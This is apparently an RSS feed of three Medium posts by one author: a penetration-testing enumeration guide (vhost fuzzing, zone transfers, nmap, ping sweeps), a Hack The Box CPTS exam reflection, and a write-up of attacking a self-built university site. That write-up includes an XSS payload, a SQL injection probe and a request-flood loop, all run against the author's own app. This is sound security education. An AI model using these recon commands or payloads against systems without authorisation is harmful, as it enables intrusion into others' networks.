alt="" src="https://cdn-images-1.medium.com/max/598/1*L8BM6AI44Jj42BPNJ9ZbNA.png" /></figure><p><em>Every guess returns 200, because the server falls back to a default page for anything it doesn’t recognise. That’s exactly the trap </em><em>-fs (filter by size) is for.</em></p><p>Notice every single guess returned 200. That&#39;s the trap: without filtering, this looks like nine confirmed virtual hosts. Look at the <strong>Size</strong> column instead. foobar123 (a name I made up, guaranteed not to exist) came back at size 10, and so did www, vpn, dev, mail, ftp and staging: that&#39;s the server&#39;s default fallback response, repeated for every unmatched name. Only two entries differ: admin-panel at size 35 and blog at size 103. Those are the real virtual hosts.</p><p>The workflow is always: run once with no filter, find the size that repeats the most (that’s your baseline/wildcard response), then re-run with -fs &lt;that size&gt; to hide it, exactly like the command above did with -fs 12. The same logic applies if the baseline is a specific word count (-fw) or line count (-fl) instead of size.</p><p><strong>Gobuster works too</strong>, if you prefer it:</p><pre>gobuster vhost -u http://10.129.244.111 \<br> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \<br> --append-domain -t 40</pre><p>Gobuster’s vhost mode doesn’t filter by size automatically, so you still read the output the same way: find the repeated baseline, then treat anything that breaks the pattern as a real hit worth visiting in a browser.</p><h3>3. Directory and content discovery</h3><p>Once you’ve confirmed the hosts and vhosts worth looking at, the next question is what’s actually served under each one. This is where you find admin panels, backup files, exposed .git folders and upload directories nobody linked to from the UI, which is precisely almost always the pattern in every engagement. You might find a file upload or LFI findings sitting on pages that weren&#39;t in any navigation menu.</p><p><strong>ffuf for a quick first pass:</strong></p><pre>ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \<br> -u http://10.129.244.111/FUZZ \<br> -t 40</pre><p>Run against my local test target, here’s what a hit looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*5zzRvGEDZApwCExf3GqEFQ.png" /></figure><p><em>Four hits came back </em><em>301 (a redirect, almost always meaning &quot;this is a real directory, go fetch the slash-terminated version&quot;) and one came back </em><em>200. All five are worth a manual look.</em></p><p>Every 301 here is a directory that exists. admin, backup, uploads and .git are the four worth opening by hand immediately: an exposed .git directory especially, since it often means the entire source tree is downloadable with a tool like git-dumper or githack.</p><p><strong>feroxbuster for recursive discovery — </strong>Ffuf is fast but flat, it fuzzes one level. Feroxbuster recurses automatically, which matters once you find a directory and want everything underneath it without re-running the scan by hand:</p><pre>feroxbuster -u http://10.129.244.111 \<br> -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \<br> -x php,txt,bak,zip,old -t 50</pre><p>The -x flag appends each extension to every word, which is how you&#39;d catch config.php.bak or upload.php.txt, the kind of backup-file naming that showed up repeatedly in my exam environment once I started looking for it deliberately instead of just the directory names on their own.</p><p><strong>Don’t stop at the default wordlist — </strong>A generic list finds generic names. Once you’ve fingerprinted the application (its framework, its naming conventions, any filenames you’ve already seen), build a short, targeted list from what you’ve learned and run it again. That second, informed pass is usually where the real find is.</p><h3>4. DNS investigation</h3><p>DNS is one of the highest-value, lowest-effort steps in the whole process, and it’s exactly where domain compromise started in one of my engagements. A single misconfigured setting handed over the entire internal subdomain list before I’d fuzzed a single word.</p><p><strong>Zone transfer, first, always.</strong> If the name server allows an unauthenticated AXFR (zone transfer), it will hand you every record in the zone in one request:</p><pre>dig axfr corp.local @10.129.244.111</pre><p>Here’s that exact command, run against a local authoritative DNS server I set up for this demo:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*bA91u8CLZyXTU-E6KMv8Pg.png" /></figure><p><em>A successful AXFR dumps the whole zone: every hostname the organisation has registered, handed over in one request with no authentication required.</em></p><p>That’s seven hostnames (blog, dev, mail, ns1, vpn, www, plus the apex) for the cost of one command. In one of my engagements, a real zone transfer against the in-scope nameserver returned eight subdomains in the same way, several of which weren’t linked from anywhere in the visible site and became entry points of their own. If dig axfr returns Transfer failed or times out, the server has zone transfers locked down (as it should), and you fall back to the brute-force subdomain enumeration from section 1.</p><p><strong>Check every record type, not just A.</strong> Each type tells you something different:</p><pre>dig corp.local NS +noall +answer    # who&#39;s authoritative<br>dig corp.local MX +noall +answer    # mail servers, useful for phishing scope<br>dig corp.local TXT +noall +answer   # SPF/DKIM, but also sometimes verification tokens<br>dig corp.local SOA +noall +answer   # zone serial, refresh/retry timings</pre><p><strong>Reverse lookups and internal ranges — </strong>Once you have internal IPs (say, from a tunnel after a foothold), reverse DNS can hand you hostnames back:</p><pre>dig -x 192.168.x.x +noall +answer</pre><p>And for sweeping a whole internal range once you’re pivoted in, a simple loop does the same job as a dedicated host-discovery tool when ICMP is allowed:</p><pre>for i in {1..254}; do ping -c 1 -W 1 192.168.x.x.$i &amp;&gt;/dev/null &amp;&amp; echo 192.168.x.x.$i; done</pre><p>That loop, almost exactly as written, is how the internal network first got mapped after the initial DMZ foothold in one of my engagements. Three reachable hosts came back out of 254 addresses tried, which was enough to start targeted service enumeration on each one rather than scanning the whole /24 blindly.</p><h3>5. Service enumeration</h3><p>Everything so far has been about the web layer. Service enumeration is the wider sweep: every open port on every host, and what’s actually listening on it. This is the step that decides where the rest of your time goes.</p><p><strong>Full TCP port scan first, always.</strong> Nmap’s default top-1000 ports misses plenty. On every external host I touch, the first scan is unrestricted:</p><pre>nmap -p- -sV -T4 10.129.244.111</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*n66913F8aD7NRGZvxoxaLA.png" /></figure><p>-p- scans all 65,535 TCP ports, -sV grabs service and version banners, -T4 speeds timing up without getting reckless. Run against my local target (which only has two web services bound on non-standard ports), it looks like this:</p><p>On a real engagement, that service line is where you make your next decision. In one of my engagements, an external host came back with FTP, SSH, SMTP, DNS, HTTP running WordPress, POP3 and IMAP all on one box, which immediately tells you: check FTP for anonymous login, check WordPress for known plugin or core vulnerabilities, check whether SMTP allows user enumeration via VRFY, and treat DNS as a target for the zone transfer from the previous section.</p><p><strong>Go deeper on anything interesting with a targeted scan.</strong> Once you know a port matters, re-scan it alone with scripts enabled. For example:</p><pre>nmap -sVC -p 21,2049 10.129.244.111</pre><p>-sVC runs version detection and nmap&#39;s default safe NSE scripts together.</p><p><strong>For SMB specifically</strong>, NetExec (the successor to CrackMapExec) gives you OS version, domain membership and signing status in one line, which is usually enough to decide whether relay attacks are worth trying:</p><pre>nxc smb 10.129.244.111</pre><p><strong>For anything on UDP</strong>, don’t forget it exists. SNMP, DNS and a handful of other interesting services only show up on a UDP scan:</p><pre>nmap -sU --top-ports 20 10.129.244.111</pre><p>UDP scanning is slow and noisy with false positives (an open|filtered result often just means &quot;no response&quot;), so I run it targeted and small rather than across every port.</p><h3>6. Understanding unexpected HTTP responses</h3><p>Every enumeration tool above boils down to sending requests and reading status codes. The skill that actually matters is reading them correctly, because the default meaning of a code isn’t always what the server means by it.</p><pre>BASE=http://10.129.244.111<br>for p in / /admin/ /.git/HEAD /nosuchpage/; do<br> curl -s -o /dev/null -w &quot;$p -&gt; %{http_code}\n&quot; &quot;$BASE$p&quot;<br>done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*RBvliGTnw4mO48uYw7MtcA.png" /></figure><p><em>/, </em><em>/admin/ and </em><em>/.git/HEAD all answer </em><em>200. </em><em>/nosuchpage/ is the one </em><em>404. That gap is the entire signal.</em></p><p>Here’s what I actually look for in that signal, path by path, and what it tends to mean when I see it on a real target:</p><ul><li><strong>200 on a path with no business being public</strong> (an admin panel, a .git/HEAD, a backup file) is the strongest unexpected-response signal there is. It means the server will serve the file, which is a confirmation, not a maybe. Open it.</li><li><strong>403 Forbidden</strong> usually means the path exists but something (a web server rule, a WAF, a .htaccess) is blocking direct access. Don&#39;t walk away from a 403. Try appending a trailing slash, a different case (/Admin vs /admin), a URL-encoded character, or hitting it with a different HTTP verb. Plenty of access-control bypasses on real engagements are exactly this: the block only covers one spelling of the path.</li><li><strong>404 vs 400</strong> matters more than it looks. A clean 404 from the application is usually trustworthy. A 400 Bad Request on a path that should be a normal GET can mean the server&#39;s rejecting something about your request specifically (malformed encoding, an unexpected header), not that the resource is missing, which is worth separating out in your fuzzing filters.</li><li><strong>301/302 redirects</strong> almost always mean the resource is real, just not at the exact path you asked for. Follow them (curl -L) and look at where they land. A redirect to a login page from an &quot;admin&quot; path confirms the admin interface exists, even though you can&#39;t get in yet.</li><li><strong>Wildcard responses</strong> are the false positive that wastes the most time. Any server that answers every unmatched request with the same page (a generic error, a catch-all homepage) will make a brute-force list look like it found fifty hits when it found one real thing and forty-nine copies of the same non-answer. This is exactly the size-10 baseline from the virtual host section. Before trusting any fuzzing result, always confirm the baseline response for a name/path you know doesn’t exist, and filter it out.</li><li><strong>Response size and timing, not just the code</strong>, separate real content from a templated error page that happens to return 200. Two &quot;successful&quot; responses of wildly different size (like admin-panel at 35 bytes vs blog at 103 bytes earlier) are not the same kind of result, even though ffuf&#39;s matcher treats them identically by default.</li></ul><p>The underlying habit is the same one that runs through every section above.</p><h3>Putting it together</h3><p>In practice these six things aren’t six separate steps, they’re one loop that repeats every time you get a new credential, a new foothold or a new hostname. In one of my engagements, the path to domain compromise ran through this loop at least four times: once externally, once after the first web shell, once after the Ligolo-ng pivot into the internal subnet, and once more after reaching the second AD domain through a cross-forest trust.</p><p>The checklist I actually run, roughly in this order, every time I land somewhere new:</p><ol><li><strong>Passive recon</strong> — crt.sh, amass/subfinder, anything that costs nothing to check first.</li><li><strong>DNS</strong> — zone transfer attempt, then every record type, then reverse lookups once you have internal IPs.</li><li><strong>Full port scan</strong> — nmap -p- -sV on every host you can reach, not just the ones that look interesting.</li><li><strong>Subdomain and vhost brute force</strong> — establish the baseline/wildcard response before trusting any hit.</li><li><strong>Directory and content discovery</strong> — ffuf first for speed, feroxbuster for recursion once something’s worth digging into.</li><li><strong>Read every response like it’s lying to you a little</strong> — check status, size, redirects and headers together, not the status code alone.</li><li><strong>Write it down, immediately</strong> — every host, credential, hash and share, the moment you find it, not at the end of the session.</li><li><strong>Go back to step 1 for every new host or credential</strong> — enumeration isn’t a phase you finish, it’s a loop you re-enter.</li></ol><h3>Mistakes I’d tell you to avoid</h3><ul><li><strong>Trusting a tool’s default matcher — </strong>ffuf, gobuster and feroxbuster all ship sensible defaults, but “sensible” isn’t “correct for this target”. Always check what the baseline/wildcard response looks like before trusting a hit list.</li><li><strong>Stopping enumeration once you have a foothold — </strong>The loop in “Putting it together” isn’t decorative. Every new host or credential changes what’s reachable, and re-running basic enumeration from a new vantage point finds things the first pass couldn’t see.</li><li><strong>Skipping the boring record types — </strong>NS, MX, TXT and SOA records got skipped on my first pass through more than one engagement, because A records felt like the only ones that mattered. They’re not.</li><li><strong>Running one wordlist and calling it done — </strong>A generic wordlist finds generic names. The best hits usually come from a second, smaller list built from what the application itself told you (its framework, its naming conventions, a filename you already found).</li><li><strong>Not writing things down as they happen — </strong>This is the one that costs the most time on a long engagement. A detail found at hour two and not recorded is a detail you’re guessing about again at hour eight.</li></ul><p>Enumeration is mostly discipline, not cleverness. Nothing above is a novel technique; it’s patience, a baseline to compare against, and a habit of writing down what you find the moment you find it. That’s the same loop I run on every engagement.</p><p><em>Thanks for engaging, see you on my next post!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6adf765f4e0b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Passed the HTB CPTS — My Journey to Becoming a Certified Penetration Tester]]></title>
            <link>https://medium.com/@oluwalanagodwin9/i-passed-the-htb-cpts-my-journey-to-becoming-a-certified-penetration-tester-00cc27920ee1?source=rss-19cd3ed1c65d------2</link>
            <guid isPermaLink="false">https://medium.com/p/00cc27920ee1</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cpt]]></category>
            <dc:creator><![CDATA[RAVENØX]]></dc:creator>
            <pubDate>Thu, 12 Nov 2026 23:52:03 GMT</pubDate>
            <atom:updated>2026-11-12T23:52:03.079Z</atom:updated>
            <content:encoded><![CDATA[<p>After more than a year of learning, practising, and pushing through challenging moments, I’m happy to share that I’ve officially passed the <strong>Hack The Box Certified Penetration Testing Specialist (CPTS)</strong> certification.</p><p>It wasn’t a quick journey. I was juggling my Cybersecurity Science degree alongside the HTB Academy path, so there were times when I couldn’t make as much progress as I wanted. It took longer than I initially expected, but I kept at it, and I’m glad I did.</p><h3>Zephyr and Dante</h3><p>After completing the Academy path, I wanted to spend more time testing what I’d learned in practical environments. That’s what led me to HTB Pro Labs, where I worked through Zephyr and Dante.</p><p>Both labs were challenging, but I learned quite a lot from them.</p><p>Zephyr was particularly helpful when it came to Active Directory. Some of the concepts and approaches I encountered there gave me a better understanding of how to navigate an AD environment, identify possible attack paths, and work through different stages of an engagement. It also helped me understand that finding a possible attack path is one thing, but knowing how to investigate and exploit it is another.</p><p>Dante was also a great learning experience. It exposed me to different situations involving web application attacks, Linux and Windows privilege escalation, and network pivoting. It challenged me to approach targets differently, especially when my initial attempts didn’t work.</p><p>I completed both labs independently and documented my findings and the techniques I used along the way. Looking back, keeping those notes was one of the better decisions I made. Some of the techniques and approaches I had documented came in handy during the CPTS examination.</p><p>One thing I want to make clear, though: <strong>Zephyr and Dante are not replicas of the CPTS exam.</strong> Completing them doesn’t mean you’re going to see the same environment or attack paths in the examination.</p><p>What they gave me was practical experience and more confidence working through unfamiliar environments.</p><p>Overall, both labs played a useful part in my preparation, and I’m glad I took the time to complete them.</p><h3>The Exam</h3><p>Before the exam, I’d read enough blogs to know that a long struggle for the first flag wasn’t unusual. Plenty of people described day three, four, even five going by with nothing to show for it. I ended up having a similar experience. I got my first flag on day five myself. By then I’d genuinely started wondering if I’d finish with zero points. Getting that flag was the turning point for me, cos i had a free flow of capturing other flags till day nine of the exam where i was able to compile my report and submit.</p><p>Flags 1 and 8 were the hardest for me personally, though that’s just my experience; everyone’s exam plays out differently depending on their strengths.</p><h3>19 Hours of Waiting</h3><p>Before taking the exam, I’d read quite a few CPTS experiences, and most people talked about waiting up to two weeks to receive their results after submitting their reports. So I naturally expected to wait that long too.</p><p>I had already prepared myself for it. I thought I’d spend the next couple of weeks wondering how things went and whether my report was good enough.</p><p>But that wasn’t what happened.</p><p>I got my result roughly 19–20 hours after submitting my report. I honestly wasn’t expecting it that soon. I was still trying to get used to the fact that the exam was finally over when the result came in.</p><p>And I passed.</p><p>After spending over a year working towards this, completing the labs, going through the exam, and dealing with all the uncertainty, seeing that result was a really good feeling.</p><p>I’d finally earned my HTB CPTS certification.</p><h3>Two Technical Things I’d Tell Anyone Starting the CPTS Path</h3><p>Aside from the general “don’t rush it, take notes” advice, two specific habits made the biggest difference for me:</p><p><strong>1. Build an enumeration checklist you actually reuse, and treat it as a loop. </strong>Don’t rely on memory for what to check on a new host or a new foothold. I kept a running checklist (ports, shares, web content, AD group memberships, ACLs) and re-ran it every single time I landed somewhere new, not just at the start of the engagement. The exam rewards the habit of going back to basic enumeration after every credential or pivot, because what’s reachable changes every time you gain something new.</p><p><strong>2. Learn to read raw output, not just what tools show you. </strong>Tools like BloodHound and NetExec make things easier, but I wouldn’t recommend relying entirely on their output. During the Academy path, I made an effort to understand what was happening behind the scenes and practise doing things manually.</p><p>For example, rather than relying only on BloodHound’s graphs, I’d also work with commands like Get-DomainObjectAcl to understand permissions and identify possible attack paths. I&#39;d use raw ldapsearch queries instead of depending entirely on tools that present the results in a cleaner format.</p><p>These tools are great, and there’s nothing wrong with using them. The important thing is understanding what they’re actually doing and being able to verify their findings when necessary.</p><p>You don’t want to be in the middle of an exam, looking at an unexpected result and having no idea how to investigate it without relying on the tool that produced it.</p><h3>What’s Next?</h3><p>This is my first professional certification, so it means a lot to me, especially knowing how much time and effort went into earning it. But I’m not looking at it as the finish line. There’s still a lot I want to learn, explore, and get better at, particularly in Active Directory security, red teaming, and advanced offensive security.</p><p>For now, I’m happy to have made it this far. It’s been a long journey, but there’s still plenty of work ahead.</p><p><strong>Officially, I’m HTB CPTS certified. On to the next challenge.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RGxjmg-Se754CT7rBKIlrg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=00cc27920ee1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built a University Website, Then Tried to Break It]]></title>
            <link>https://medium.com/@oluwalanagodwin9/i-built-a-university-website-then-tried-to-break-it-90645dafa110?source=rss-19cd3ed1c65d------2</link>
            <guid isPermaLink="false">https://medium.com/p/90645dafa110</guid>
            <category><![CDATA[final-year-projects]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[RAVENØX]]></dc:creator>
            <pubDate>Thu, 12 Nov 2026 07:08:02 GMT</pubDate>
            <atom:updated>2026-11-12T07:08:02.714Z</atom:updated>
            <content:encoded><![CDATA[<p>A university website holds exam results, applicant emails, staff records and fee payments, and most of it sits behind a handful of web forms and API routes. For my final-year project in Cyber Security Science at LAUTECH, I wanted to see how easily a site like that gives itself away. So I built one from scratch, put it on the public internet, and attacked it.</p><p>The result was a mixed scorecard. One high-severity hole (an admin API endpoint that answered anyone who asked), two medium weaknesses (missing security headers and no rate limiting), and three things the app got right (XSS, IDOR and input validation). Here is how the project went, what I found, and what I would tell anyone building a campus portal.</p><p><strong>The short version</strong></p><ul><li>I built a simulated university site (“National Institute of Advanced Studies”) with Node.js and deployed it on Render.</li><li>I tested it grey-box, mapped to the OWASP Top 10 (2021), mostly with Chrome DevTools and cURL, from a Kali Linux workstation set up with Burp Suite and OWASP ZAP.</li><li>The worst finding needed no tools at all: pasting an admin URL into a browser returned stored user submissions.</li><li>The best lesson: “the script didn’t run” is not the same as “the app is safe”.</li></ul><h3>Why Build My Own Target?</h3><p>Most student pen-testing projects start from a deliberately vulnerable app such as DVWA or OWASP Juice Shop. Those are great for learning, but they hand you a finished system whose flaws were chosen by someone else.</p><p>I wanted the opposite: to see how weaknesses get into a site in the first place. Writing the application myself meant I understood every route, every response and every shortcut I took. It also meant the project had two halves: build a believable university website, then assess it the way an outsider would.</p><p>The site needed the features a real campus site has: information pages, content served through an API, a form that accepts input from the public, and an administrative-style endpoint. That mix is enough to exercise most of the OWASP Top 10 categories that matter at the application layer.</p><h3>Building the target: a fake university on a real cloud</h3><p>The site is called the <strong>National Institute of Advanced Studies</strong>: 18,450 students, 1,120 faculty, three departments and nine programmes, all invented. It has seven pages (Home, Admissions, Departments, Research, Student Life, Contact and a Security Training page) backed by a small JSON API.</p><p><strong>The stack</strong></p><ul><li>Windows machine with VS Code</li><li>Node.js v24.13.1 and npm 11.8.0, with Express for routing</li><li>Git and GitHub for version control</li><li>Render’s free tier for public hosting</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*2KbPwcuYxZumBx8ZK7wZ1g.png" /></figure><p>The code is split cleanly: static pages and assets live in public/, and the backend lives in src/ (server.js for routing and API handling, plus folders for services, middleware, routes and simulated data). There is a test/ folder with an API test file too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5MMLfMTFimO0esM3EKRx6w.png" /></figure><p>I ran everything locally first to check that routing, page rendering and the API behaved, then deployed to Render: push to GitHub, create a Web Service from the repo, build with npm install, start with node src/server.js, and let the server read its port from process.env.PORT. After deployment I confirmed that pages, CSS and JS loaded, that the API returned the expected JSON, and that response headers were visible for analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JDB0UXEUPAKBqmE8_hidhA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZICoFwC0HrnWavkav9qA3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LiJwNoa5hdUmk665fvEZcQ.png" /><figcaption><em>The Render dashboard after the first deployment: the service is live and ready to be tested.</em></figcaption></figure><p>I deployed publicly on purpose. A site that is really reachable from the internet behaves differently from one on localhost, and it is closer to how a real university portal is exposed. I’m deliberately not linking the live deployment here: it is a weak target by design.</p><blockquote><strong>Scope guardrails…</strong> Everything I tested was my own app, at the application layer only. I did not scan or touch Render’s infrastructure, and the only data in the system was made up by me.</blockquote><h3>How I tested it</h3><p>I used a <strong>grey-box</strong> approach: I knew the general routing and which endpoints existed, but I tested from an outsider’s point of view, through the browser and the command line. Findings were organised around the <strong>OWASP Top 10 (2021)</strong> and rated by severity using ideas from CVSS and the OWASP Risk Rating Methodology.</p><p>Every test followed the same loop:</p><ol><li>Identify the target endpoint or input field.</li><li>Establish normal behaviour with a harmless baseline.</li><li>Introduce controlled abnormal input.</li><li>Observe how the system responds.</li><li>Validate whether it is really a vulnerability.</li><li>Document the finding and its impact, with a screenshot.</li></ol><p>The seven areas covered were endpoint discovery, security headers, cross-site scripting (XSS), broken access control, insecure direct object references (IDOR), input validation, and rate limiting.</p><p><strong>Tools:</strong> The workstation ran Kali Linux with Burp Suite Community Edition and OWASP ZAP set up for interception, spidering and scanning. The evidence in this post comes mainly from Chrome DevTools (network and header inspection) and cURL (manual API requests), plus screenshots of everything.</p><p><strong>Ethics:</strong> The target was mine, the data was fake, and nothing destructive was done, No data was modified or taken, and nothing was taken offline. The point of exploitation was proof of concept only.</p><h3>Step 1: Mapping the attack surface</h3><p>Before attacking anything, I mapped what was there. Clicking through the navigation turned up seven public routes:</p><ul><li>/, /admissions, /departments, /research, /student-life, /contact and /security-training</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kltKiLHTjnAgiNoxCOyJeQ.png" /><figcaption><em>The public pages: Admissions, Departments, Research and Student Life.</em></figcaption></figure><p>Testing common REST-style paths, and watching the Network tab while the pages loaded, turned up five API endpoints:</p><ul><li>/api/v1/health</li><li>/api/v1/overview</li><li>/api/v1/departments</li><li>/api/v1/announcements</li><li>/api/v1/admin/contact-submissions</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k6cUdRU7RuKixvnn9Dr5kw.png" /></figure><p><em>The health-check endpoint answers anyone, which is fine. The trouble is that it isn’t the only one.</em></p><p>That last one stood out immediately. There is nothing wrong with public endpoints (the site needs them), but a route with admin in its name that answers a plain browser request is the kind of thing an attacker looks for first.</p><p>There is also an irony worth sharing. The site has a page called “Security Training Mode (Safe Demonstration)”, which promises education on vulnerability classes “without exposing exploitable endpoints”. It even lists “Enforce RBAC/ABAC authorization on every server endpoint” as the secure recommendation for access control. The next section shows how well the site followed its own advice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vBoUh9Ik37XRyM7k6oJ3VA.png" /></figure><blockquote>Recon: The Foundation of Every Successful Pentest.</blockquote><p>Endpoint discovery is not an exploit, but it shapes everything after it. Every route you can find is a route you can probe, and every unnecessary one makes the attacker’s job easier.</p><h3>Finding 1 (High): the admin endpoint that answered anyone</h3><p><strong>OWASP 2021 category: A01 Broken Access Control</strong></p><p>This was the easy one. I opened /api/v1/admin/contact-submissions straight from the browser address bar, with no login, no cookie and no token.</p><p>The server replied 200 OK with a JSON document containing every stored contact submission: ID, full name, email address, subject, message and timestamp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tANDq5787WatetQ4nI2Ang.png" /></figure><p><em>My first request returned an empty list, because nobody had used the contact form yet. It still answered with 200 OK and no login. After I sent a few test messages through the form, the same URL returned them:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ovvjiTxVBzp3h-pqI-EDw.png" /></figure><p><em>The response, with the host name and email values masked for this post. The test data was my own.</em></p><p>No exploit, no special tooling, no clever request. The “admin” in the URL was just a name, and nothing on the server checked who was asking.</p><p><strong>The significance of ths in a real university:</strong> Contact and enquiry forms collect exactly the kind of data attackers like: applicants’ names and email addresses, questions about admissions and fees, and messages to staff. With an open endpoint like this, anyone could:</p><ul><li>Harvest names and addresses of students and applicants</li><li>Read internal communications and request details</li><li>Build convincing phishing messages that impersonate the university, using real details from real enquiries</li></ul><p>It would also likely breach the institution’s own data-protection obligations, and it quietly undermines trust in the whole system.</p><p><strong>Root cause:</strong> The route had no authentication or authorisation middleware at all. The fix is not obscure naming or hiding the URL, it is a server-side check on every request, which I cover in the fixes section.</p><h3>Finding 2 (Medium): missing browser protections</h3><p><strong>OWASP 2021 category: A05 Security Misconfiguration</strong></p><p>Security headers are short instructions the server attaches to every response, telling the browser how cautious to be. They cost almost nothing to add and block whole classes of attack.</p><p>I opened Chrome DevTools, reloaded the site, selected the main request and read through the response headers. The two that stood out as missing or incomplete were:</p><ul><li><strong>X-Frame-Options</strong>, which controls whether other sites can embed your pages in a frame. Without it (or an equivalent CSP frame-ancestors rule), pages can be framed by an attacker&#39;s site, which is the setup for <strong>clickjacking</strong>.</li><li><strong>X-Content-Type-Options</strong>, which tells the browser to trust the declared content type. Without nosniff, browsers may guess types and misinterpret content, which opens the door to <strong>MIME-sniffing</strong> attacks.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C75L7fet9n8YkZYQUdJgfg.png" /></figure><p><em>The Network tab’s Headers panel, which is where I read the response headers. Host name and IP address masked.</em></p><p>I also planned to check Content-Security-Policy, Strict-Transport-Security, Referrer-Policy and Permissions-Policy, and compared everything with OWASP’s recommended baseline.</p><p><strong>Impact:</strong> On its own, a missing header rarely gets you breached. But it removes a layer of defence for every student and staff member who visits, and it makes any later bug (such as an XSS slip) easier to exploit. On a university site with thousands of daily visitors, that matters.</p><h3>Finding 3 (Medium): nothing stops a flood</h3><p><strong>OWASP 2021 category: A04 Insecure Design</strong></p><p>Rate limiting caps how many requests one client can send in a given time. Without it, a public form becomes a free target for spam, brute-forcing and resource exhaustion.</p><p>I sent repeated POST requests to the contact endpoint with cURL and increased the volume, watching for any sign of restriction: a 429 Too Many Requests response, a slowdown or a refused connection. I saw none. The endpoint kept responding normally to every request.</p><p><strong>An honest caveat about my own evidence:</strong> My cURL screenshot shows a bare POST with no body, which the server rejects with validation errors (more on those below). That proves the endpoint answers repeated requests, but it is not a rigorous flood test. If you replicate this, send valid payloads in a loop and tally the status codes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KvEb1CbzWf80P9QUiBUUGA.png" /></figure><pre># Only run this against a system you own or are authorised to test<br>for i in $(seq 1 50); do<br>  curl -s -o /dev/null -w &quot;%{http_code}\n&quot; -X POST &quot;$TARGET/api/v1/contact&quot; \<br>    -H &quot;Content-Type: application/json&quot; \<br>    -d &#39;{&quot;fullName&quot;:&quot;Test User&quot;,&quot;email&quot;:&quot;test@example.com&quot;,&quot;subject&quot;:&quot;Rate limit test&quot;,&quot;message&quot;:&quot;Checking whether this endpoint throttles requests.&quot;}&#39;<br>done | sort | uniq -c</pre><p>If all 50 come back 200, nothing is throttling. A protected endpoint should start returning 429 after a handful.</p><p><strong>Impact.</strong> In a real university, a contact or admissions form with no limits can be flooded with fake submissions, drowning genuine enquiries during the busiest weeks (admissions cycles, course registration), eating server resources and giving attackers a free way to automate probing.</p><h3>What the app got right (and why “it didn’t break” isn’t the whole story)</h3><p>Not everything failed. Three tests came back clean, and each one taught me something.</p><h3>XSS: payload accepted, never executed</h3><p>I used the contact form as the test surface. A harmless baseline message went through normally. Then I submitted this payload as the message:</p><pre>&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;</pre><p>The form said “Thank you! Your message has been submitted.”, and the payload was stored. But no alert appeared, DevTools showed no script execution and no JavaScript errors. In the admin response from Finding 1, the payload is sitting there as inert, escaped text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5YSdXzUXH-WPDq1eizyPrw.png" /></figure><p>The reason is simple: the site never renders submitted content back into an HTML page, so there is nothing to execute. That is good, but it is a <strong>latent</strong> risk rather than a proof of safety. The app accepted the raw script without sanitising it. The moment someone builds an admin dashboard that prints these messages into a page without output encoding, this becomes stored XSS aimed squarely at university staff.</p><h3>IDOR: guessing IDs went nowhere</h3><p>The /api/v1/departments endpoint returns a list of three departments. I tried to reach individual records by appending numbers, /api/v1/departments/1 and /2, the classic way to enumerate objects.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5B7G8EXsSCpzlYERaAi8bQ.png" /></figure><p>Both returned &quot;Department not found.&quot; Looking at the list, the reason is clear: departments use string identifiers (cse, ece, mba), not sequential numbers, and the router only exposes the predefined routes.</p><p>A fair reading of this result: numeric enumeration doesn’t work here. It does not prove the app has solid object-level authorisation, because this build has no per-user records (department data is public anyway). IDOR becomes the critical test once student profiles and results exist.</p><h3>Input validation: structure enforced, content not judged</h3><p>The API enforces rules on the contact form. Sending an empty POST returned a structured error: full name at least 3 characters, a valid email address, subject at least 5 characters and message at least 15 characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KvEb1CbzWf80P9QUiBUUGA.png" /></figure><p>Then I fed the form hostile-looking input: a script tag, a long run of A characters and the SQL probe &#39; OR &#39;1&#39;=&#39;1. The form accepted all three as ordinary text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pFW1mPe3zmQoJ6EENQHmZA.png" /></figure><p>That is not necessarily a failure. Validation here checks the shape of the data (required fields, lengths, email format) rather than trying to guess what looks malicious, and the app stores the text without executing it. But two caveats apply. Safety depends on never rendering that text unescaped or concatenating it into a query, and this simplified build has no full database layer, so the SQL probe tells us little about a real system. Validation is a first filter, not the defence.</p><h3>The scorecard</h3><p>One high, two medium, one low-to-medium and three that held up. The severity ratings are the ones from the study’s findings summary; the OWASP category mapping is my own.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jW9OgpCGtO2ODI3qa1LTLg.png" /></figure><h3>How to fix 